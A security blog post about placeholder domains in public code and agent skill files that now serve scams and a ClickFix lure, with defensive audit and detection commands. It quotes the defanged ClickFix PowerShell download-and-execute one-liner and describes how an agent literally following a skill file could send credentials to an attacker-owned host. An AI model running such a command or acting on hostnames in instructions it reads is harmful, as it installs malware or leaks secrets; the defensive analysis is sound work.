350,000 GitHub Files Cite Placeholder Domains, and Three of Them Now Serve Malware

A hostname in a code comment is a dependency. It resolves, somebody owns it, and the owner decides what it returns. That holds for the placeholder domains developers paste into examples without a second thought, and this week it stopped being a theoretical point.

Manifold Security tested 14 placeholder-style domains that appear throughout public documentation and are not reserved by the IETF. Three of them serve an attack right now. your-domain.com renders a fake macOS security scan and a counterfeit antivirus renewal. yoursite.com runs a fabricated news article fronting an investment scam. third-party.com serves ClickFix.

The exposure is wide. Manifold counted more than 350,000 files on GitHub that cite yoursite.com or your-domain.com, roughly 350 of them agent skill files, and more than 1,700 repositories that reference third-party.com.

Who this reaches, and who can close the tab

You can stop here if every example hostname in your code, your runbooks and your agent configuration is example.com, example.org, example.net, or a name under .test, .example, .invalid or .localhost. RFC 2606 reserved those in June 1999 so that nobody could ever register them and answer your request. You already have the control, and you got it for free.

This one is yours if any of three things is true in your environment. A developer's browser can reach a hostname that only ever existed as a stand-in. A CI job runs a liveness check against one. Or a program reads a documentation file that names one as an endpoint and then makes the request, using your network position and whatever credential the example implies.

That third case is the new part, and it deserves a plain statement of limits: nobody has published a confirmed compromise that started in an agent skill file. What has been published is a list of skill files that name a hostile host, and the fact that the host has been hostile since June. Those two facts are enough to go looking.

What third-party.com returns to a Windows browser

The page impersonates a Cloudflare verification check, complete with an animated checkbox and a Ray ID. JavaScript writes to the clipboard through a hidden textarea and a copy event, then the page instructs the visitor to press Win+R, Ctrl+V, Enter. The string that lands in the Run dialog opens with a decoy comment reading "Security check, I'm not a robot, Verification ID" followed by six random digits, which pushes the real command past the visible width of the box.

Manifold deobfuscated the command. Both domains below are defanged; do not run this.

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

Three pieces do the work. irm fetches a script from the second-stage host. iex runs it in memory, so nothing lands on disk for a file-based scanner to catch. 2>$null discards errors, so a victim who pasted a broken command sees a clean window and assumes the check passed. MITRE ATT&CK maps this to T1204 for the user execution and T1059.001 for the interpreter.

Non-Windows visitors get a benign refusal: "macOS is not supported. This website requires a Windows PC to access." No clipboard write happens. An analyst who opens the URL from a Mac to check the report sees nothing worth escalating, which is the point of the fingerprinting.

The technique itself is industrialized. CTM360 published an analysis on September 24 covering more than 17,000 infected URLs and roughly 3,000 domains serving fake Cloudflare verification pages, and traces ClickFix from a novelty in late 2023 to a subscription product. A placeholder domain gives that operation free distribution. The bug class underneath it is old.

A 1996 registration and a blocklist that gave up

The timeline is the uncomfortable part. third-party.com was registered through Network Solutions in 1996. It was never IANA-reserved, so it was always somebody's property to sell or repurpose. It began serving the ClickFix lure by June 2026. A public blocklist flagged it on July 7 and removed it on July 17, ten days later, while the lure was still live. Google Safe Browsing and VirusTotal flag it now.

Read the shape of that. A hostname sat in documentation for three decades, turned hostile for at least three months, and spent ten of those days on one blocklist. Any scanner asking "does this URL resolve" got a 200 and moved on. Liveness is not reputation, and a lot of pipelines treat the two as the same check.

The second Manifold post makes the exposure measurable across the wider set. Eleven of the 14 domains tested are currently benign, which is the strongest argument for acting now rather than treating this as a single bad domain. foo.com, acme.com, mysite.com, myapp.com, yourapp.com, company.com, mycompany.com, yourdomain.com and vendor.com all belong to somebody. Ownership can change on any of them next quarter, and your code will not notice.

Why an agent skill file is the worst place to leave one

The references Manifold found are ordinary engineering artifacts. Chromium's developer documentation uses the domain in an externally_connectable example. Turborepo has a unit test for origin matching. A widely-starred public collection of agent skill files points at third-party.com/widget.js. An OAuth gateway example calls /token and /user/info on it. One skill file even labels the line "Wrong: Hardcoded endpoint, NEVER do this," which tells you the authors understood the pattern and still shipped the hostname.

A human reading any of those understands the hostname as a stand-in and substitutes their own. A program that consumes the same file as instructions has no such instinct. Follow that OAuth example literally and a client secret goes to a host you do not own, over TLS, from inside your network, and the log entry looks like a normal outbound request to a normal web server.

In practice the small-team version of this problem is worse than the enterprise version, and for a boring reason. A company with a proxy allowlist and an egress policy will block an unknown destination by default. A ten-person shop where developers run agents on laptops with unrestricted outbound has no layer that would notice.

Find every example hostname you do not own

Start with a text search, because that is where the answer actually is. Run this from the root of each repository, or across a directory that holds all your checkouts.

rg -n --hidden -g '!.git' -i \
  -e 'third-party\.com'  -e 'your-domain\.com' -e 'yoursite\.com' \
  -e 'yourdomain\.com'   -e 'your-site\.com'   -e 'your-api\.com' \
  -e 'yourapp\.com'      -e 'your-app\.com'    -e 'myapp\.com' \
  -e 'mysite\.com'       -e 'mycompany\.com'   -e 'company\.com' \
  -e 'vendor\.com'       -e 'acme\.com'        -e 'foo\.com' \
  . | tee placeholder-audit.txt

# Then split the hits by blast radius. Config and instruction files that a
# program reads at runtime rank above prose a human reads once.
grep -E '\.(md|ya?ml|json|toml|env|tf)(:|$)' placeholder-audit.txt

Triage the hits by what acts on them

• Fix today, because a program reads it and acts: agent skill and instruction files, MCP server configuration, CI workflow definitions, Terraform providers and variables, seed data, and any test fixture that makes a real network call instead of hitting a mock.
• Fix this week, because a browser can load it: sample HTML, documentation pages carrying a live <script src> tag, onboarding guides that tell a new hire to open a URL.
• Fix on the next pass: comments, README prose, and slide decks. These carry no execution risk, but leave them and somebody copies the line forward next quarter.

Replace every hit with a reserved name. https://api.example.com/token reads exactly as clearly as the alternative and can never be registered against you. If you need several distinct hosts in one example, a.example and b.example come from the reserved .example TLD and cost nothing.

One warning about the fix itself. Do not add these domains to a scanner suppression list to quiet the findings. Manifold flags that habit specifically, and it converts a visible problem into an invisible one.

Detect the paste, not the domain

Blocking these hostnames at the resolver is worth doing and takes five minutes, but the durable detection sits one layer down, on the ClickFix execution itself. The Run dialog keeps a record of what was typed into it, and script block logging keeps a record of what PowerShell did next.

# 1. Everything typed into the Win+R dialog for the logged-on user.
#    A base64 blob or an "irm"/"iex" string here is a pasted ClickFix command.
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' |
  Select-Object -Property * -Exclude PS*, MRUList |
  Format-List

# 2. Download-and-execute pairs in the last 500 script blocks.
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'; Id = 4104
  } -MaxEvents 500 |
  Where-Object {
    $_.Message -match 'irm|iwr|Invoke-RestMethod|Invoke-WebRequest' -and
    $_.Message -match 'iex|Invoke-Expression|\.DownloadString'
  } |
  Select-Object TimeCreated,
    @{ n = 'Snippet'; e = { ($_.Message -split "`n")[0..2] -join ' ' } }

Two prerequisites, and both are single Group Policy settings. Script block logging must be on, under Administrative Templates, Windows Components, Windows PowerShell, or you get event 4104 without the command text. And RunMRU only survives if nobody clears it, so collect it during triage rather than a week later.

If you forward logs anywhere, the alert worth writing is narrow enough to run quietly: a 4104 event containing both a download cmdlet and an execution cmdlet, on a workstation, with no build agent in the process tree. In a small estate that fires a handful of times a year, and every one of those is worth a phone call.

Add the resolver block as well, since it is nearly free. Sinkhole the three domains that are live today at whatever does your DNS filtering, then keep the audit list from the section above as a watchlist rather than a blocklist. The eleven benign domains do not deserve a block, but a query for one of them from a build agent is a signal that somebody shipped a placeholder into something that runs.

Replace the hostnames you never owned

Spend an hour on the search above this week, and route the results at the two files that a program will act on: agent instruction files and CI definitions. Then turn on script block logging if it is off, because that setting is the difference between knowing what was pasted and guessing. The placeholder domain is a cheap fix with a long tail, which is exactly the kind of work that never gets scheduled until somebody names it.

If you want a second set of eyes on what your developer pipeline and your agents are allowed to reach, that is the kind of review we do. We map the outbound dependencies nobody declared, then put egress controls and detection behind them.